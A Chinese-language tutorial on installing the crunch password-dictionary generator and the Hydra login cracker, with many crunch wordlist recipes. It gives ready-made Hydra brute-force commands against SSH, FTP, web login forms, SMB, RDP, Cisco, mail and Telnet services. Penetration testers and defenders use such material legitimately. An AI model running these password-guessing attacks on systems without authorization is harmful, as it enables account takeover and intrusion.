linux下部署Hydra暴力破解工具+crunch密碼字典生成工具


部署crunch字典生成工具

 所謂的密碼字典主要是配合密碼破解軟件所使用,密碼字典里包括許多人們習慣性設置的密碼。這樣可以提高密碼破解軟件的密碼破解成功率和命中率,縮短密碼破解的時間。當然,如果一個人密碼設置沒有規律或很復雜,未包含在密碼字典里,這個字典就沒有用了,甚至會延長密碼破解所需要的時間。在Linux中有Crunch和rtgen兩個工具,可以來創建密碼字典。為方便用戶的使用,本節將介紹這兩個工具的使用方法。

 crunch是一款linux下的壓縮后僅僅38k的小程序,Crunch最厲害的是知道密碼的一部分細節后,可以針對性的生成字典,這在滲透中就特別有用,用來進行暴力破解攻擊其效果尤佳!

1、下載並安裝crunch

cd  /home/oldboy/tools
wget https://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.6.tgz
tar  xf  crunch-3.6.tgz
cd crunch-3.6
gcc -Wall -lm -pthread -std=c99 -m64 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 crunch.c -o crunch -lm
make install

2、使用crunch生成密碼文件實例

crunch 1 8  
#生成最小1位,最大8位,由26個小寫字母為元素的所有組合  
crunch 1 6 abcdefg  
#生成 最小為1,最大為6.由abcdefg為元素的所有組合  
crunch 1 6 abcdefg\  
#生成 最小為1,最大為6.由abcdefg和空格為元素的所有組合(/代表空格)  
crunch 1 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt  
#調用密碼庫 charset.lst, 生成最小為1,最大為8,元素為密碼庫 charset.lst中 mixalpha-numeric-all-space的項目,並保存為 wordlist.txt;其中 charset.lst在kali_linux的目錄為 /usr/share/crunch/charset.lst, charset.lst中 mixalpha-numeric-all-space項目包含最常見的元素組合(即大小寫字母+數字+常見符號)  
crunch 8 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt -t @@dog @@@ -s cbdogaaa  
#調用密碼庫 charset.lst,生成8位密碼;其中元素為 密碼庫 charset.lst中 mixalpha-numeric-all-space的項;格式為“兩個小寫字母+dog+三個小寫字母”,並以cbdogaaa開始枚舉(@代表小寫字母)  
crunch 2 3 -f charset.lst ualpha -s BB  
#調用密碼庫charset.lst,生成2位和3位密碼;其中元素為密碼庫charset.lst中ualpha的項;並且以BB開頭  
crunch 4 5 -p abc  
#crunch將會生成abc, acb, bac, bca, cab, cba,雖然數字4和5這里沒用,但必須有  
crunch 4 5 -p dog cat bird  
#crunch將生成以“dog”“cat”“bird”為元素的所有密碼組合:birdcatdog,birddogcat,catbirddog, catdogbird, dogbirdcat, dogcatbird  
crunch 1 5 -o START -c 6000 -z bzip2  
# 生成最小為1位,最大為5位元素為所有小寫字母的密碼字典,其中每一個字典文件包含6000個密碼,並將密碼文件保存為bz2文件,文件名將以 "第一個密碼" + " - " + "最后一個密碼" + " .txt.bz2 " 保存(比如000-999.txt.bz2);下面是生成幾種格式的壓縮文件所用的時間和體積大小對比:  
crunch 4 5 -b 20mib -o START  
# 生成最小為4位,最大為5位元素為所有小寫字母的密碼字典,並以20M進行分割;這時會生成4個文件:aaaa-gvfed.txt, gvfee-ombqy.txt, ombqz-wcydt.txt, wcydu-zzzzz.txt:其中前三個大概每個20M,最后一個10M左右(因為總共70M)  
crunch 4 4 + + 123 + -t %%@^  
#生成4位密碼,其中格式為“兩個數字”+“一個小寫字母”+“常見符號”(其中數字這里被指定只能為123組成的所有2位數字組合)。比如12f# 32j^ 13t$ ......  
crunch 3 3 abc + 123 @#! -t @%^  
#生成3位密碼,其中第一位由“a,b,c”中的一個;第二位為“1,2,3”中的一個;第三位為“!,@,#”中的一個。比如1a! 2a# 3b@ ......  
crunch 3 3 abc + 123 @#! -t ^%@  
#生成3位密碼,其中格式為“字符+數字+字母”,這里字符范圍為!@# ,數字范圍為 1 2 3 , 字母范圍為a b c比如!1c @3b @2a ......  
crunch 5 5 -t ddd@@ -p dog cat bird  
#生成5個元素組成的密碼,其中前三個為 dog cat bird任意組合,后兩個為兩個小寫字母的任意組合。比如birddogcatuz catdogbirdab birdcatdogff ......  
crunch 7 7 -t p@ss,%^ -l a@aaaaa  
#生成7位密碼,格式為“字符p@ss”+大寫字母+數字+符號 比如 p@ssZ9> ......  
crunch 5 5 -s @4#S2 -t @%^,% -e @8 Q2 -l @dddd -b 10KB -o START  
#生成5位密碼,格式為小寫字母+數字+符號+大寫字母+數字,並以 @4#S2開始,分割為10k大小。。。  
crunch 5 5 -d 2@ -t @@@%%  
#生成5位密碼,格式為三個字母+兩個數字,並限制每個密碼最少出現2種字母  
crunch 10 10 -t @@@^%%%%^^ -d 2@ -d 3% -b 20mb -o START  
#生成10位密碼,格式為三個小寫字母+一個符號+四個數字+兩個符號,限制每個密碼至少2種字母和至少3種數字  
crunch 8 8 -d 2@  
#生成8位密碼,每個密碼至少出現兩種字母  
crunch 4 4 -f unicode_test.lst the-greeks -t @@%% -l @xdd  
#調用密碼庫 unicode_test.lst中的 the-greeks項目字符,生成4位密碼,其中格式為兩小寫字母+兩數字,同樣kali_linux中 unicode_test.lst 在/usr/share/crunch目錄  
-b #體積大小,比如后跟20mib  
-c #密碼個數(行數),比如8000  
-d #限制出現相同元素的個數(至少出現元素個數),-d 3就不會出現zzf ffffgggg之類的  
-e #定義停止生成密碼 ,比如-e 222222:到222222停止生成密碼  
-f #調用密碼庫文件,比如/usr/share/crunch/charset.lst  
-i #改變輸出格式  
-l #與-t搭配使用  
-m #與-p搭配使用  
-o #保存為  
-p #定義密碼元素  
-q #讀取字典  
-r #定義從某一個地方重新開始  
-s #第一個密碼,從xxx開始  
-t #定義輸出格式  
@代表小寫字母  
,代表大寫字母  
  
%代表數字  
  
^代表符號  
-z #打包壓縮,格式支持 gzip, bzip2, lzma, 7z  

 crunch語法格式:

crunch [minimum length] [maximum length] [character set] [options]

 生成一個包含6到7位數字、字母和特殊字符的密碼文件password.txt。這個密碼文件為后面用Hydra暴力破解工具使用

crunch 6 7 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o password.txt

 生成的這個字典文件password.txt很大,大概有500多T大小

 Hydra暴力工具的部署

1、簡介

 Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.

Hydra was tested to compile on Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1 and OSX, and is made available under GPLv3 with a special OpenSSL license expansion.

Currently this tool supports: 
AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

For HTTP, POP3, IMAP and SMTP, several login mechanisms like plain and MD5 digest etc. are supported.

This tool is a proof of concept code, to give researchers and security consultants the possiblity to show how easy it would be to gain unauthorized access from remote to a system.

The program is maintained by van Hauser and David Maciejak.

The Hackers Choice 
http://www.thc.org/thc-hydra

2、安裝hydra

 安裝相關依賴包

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel -y

 Hydra 安裝

cd  /home/oldboy/tools
wget http://www.thc.org/releases/hydra-7.4.1.tar.gz
tar zxvf hydra-7.4.1.tar.gz
cd hydra-7.4.1
./configure 
make && make install

3、hydra的語法及參數說明

 語法格式

# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

 參數說明

-R
繼續從上一次進度接着破解

-S
大寫,采用SSL鏈接

-s <PORT>
小寫,可通過這個參數指定非默認端口

-l <LOGIN>
指定破解的用戶,對特定用戶破解

-L <FILE>
指定用戶名字典

-p <PASS>
小寫,指定密碼破解,少用,一般是采用密碼字典

-P <FILE>
大寫,指定密碼字典

-e <ns>
可選選項,n:空密碼試探,s:使用指定用戶和密碼試探

-C <FILE>
使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數

-M <FILE>
指定目標列表文件一行一條

-o <FILE>
指定結果輸出文件

-f
在使用-M參數以后,找到第一對登錄名或者密碼的時候中止破解

-t <TASKS>
同時運行的線程數,默認為16

-w <TIME>
設置最大超時的時間,單位秒,默認是30s

-v / -V
顯示詳細過程

server
目標ip

service
指定服務名,支持的服務和協議:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

OPT
可選項
hydra參數說明

 hydra的幫助信息查看-h

hydra -h
Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [server service [OPT]]|[service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to be attacked in parallel, one entry per line
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6   prefer IPv4 (default) or IPv6 addresses
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode 
  -U        service module usage details
  server    the target server (use either this OR the -M option)
  service   the service to crack. Supported protocols: cisco cisco-enable cvs ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql(v4) nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
  OPT       some service modules support additional input (-U for module help)
Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy.

Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purposes.  Newest version available at http://www.thc.org/thc-hydra
The following services were not compiled in: sapr3 firebird afp ncp oracle mysql5.

Examples:
  hydra -l john -p doe 192.168.0.1 ftp
  hydra -L user.txt -p defaultpw -S 192.168.0.1 imap PLAIN
  hydra -l admin -P pass.txt http-proxy://192.168.0.1
  hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/DIGEST-MD5
hydra幫助信息

4、實例

 手動創建用戶名字典和密碼字典,這里只是為了演示,只加了幾個用戶名和弱口令。真正破解時,需要利用密碼字典生成器生成強大的字典。

 創建用戶名文件users.txt

[root@lnmp01 ~]# vim users.txt 
root
oldboy

 創建密碼文件password.txt

[root@lnmp01 ~]# vim password.txt 
123456
ts1158
test01
haaaha

 破解ssh

hydra -L users.txt -P password.txt -t 20 -vV -e ns 192.168.182.143 ssh

 這個參數-t 線程不能給的太大,太大了破解可能不准確,一般給20個左右線程就可以了

 破解過程如下圖所示:

 由圖所示,破解成功了

 當然也可以使用 -o 選項指定結果輸出文件。

hydra -L users.txt -P password.txt -t 20 -vV -e ns 192.168.182.143 ssh  -o test.txt

 那么破解好的記錄就會保存在這個指定的文件中

5、其他協議的破解方式如下

 破解ftp:

hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程(默認16) -vV
hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV

 get方式提交,破解web登錄:

hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip http-get /admin/
hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get /admin/index.php

 post方式提交,破解web登錄:

hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”

 說明破解的用戶名是admin,密碼字典是pass.lst,破解結果保存在ok.lst,-t 是同時線程數為1,-f 是當破解了一個密碼就停止,ip 是本地,就是目標ip,http-post-form表示破解是采用http 的post 方式提交的表單密碼破解。

 后面參數是網頁中對應的表單字段的name 屬性,后面<title>中的內容是表示錯誤猜解的返回信息提示,可以自定義。

 破解https:

hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

 破解teamspeak:

hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak

 破解cisco:

hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

 破解smb:

hydra -l administrator -P pass.txt 10.36.16.18 smb

 破解pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3

 破解rdp:

hydra ip rdp -l administrator -P pass.txt -V

 破解http-proxy:

hydra -l admin -P pass.txt http-proxy://10.36.16.18

 破解imap:

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

 破解telnet

hydra ip telnet -l 用戶 -P 密碼字典 -t 32 -s 23 -e ns -f -V

 總之,此工具強大之處遠多於以上測試,其密碼能否破解關鍵在於強大的字典,對於社工型滲透來說,有時能夠得到事半功倍的效果。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM